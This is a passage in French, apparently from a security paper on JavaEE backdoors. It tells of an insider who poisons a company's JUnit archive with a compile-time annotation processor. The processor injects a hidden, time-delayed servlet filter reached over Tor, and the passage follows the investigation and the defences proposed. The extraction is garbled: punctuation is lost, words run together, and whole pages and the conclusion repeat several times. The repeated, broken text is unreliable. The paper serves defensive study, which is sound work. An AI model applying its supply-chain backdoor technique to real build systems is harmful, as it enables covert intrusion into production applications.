Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter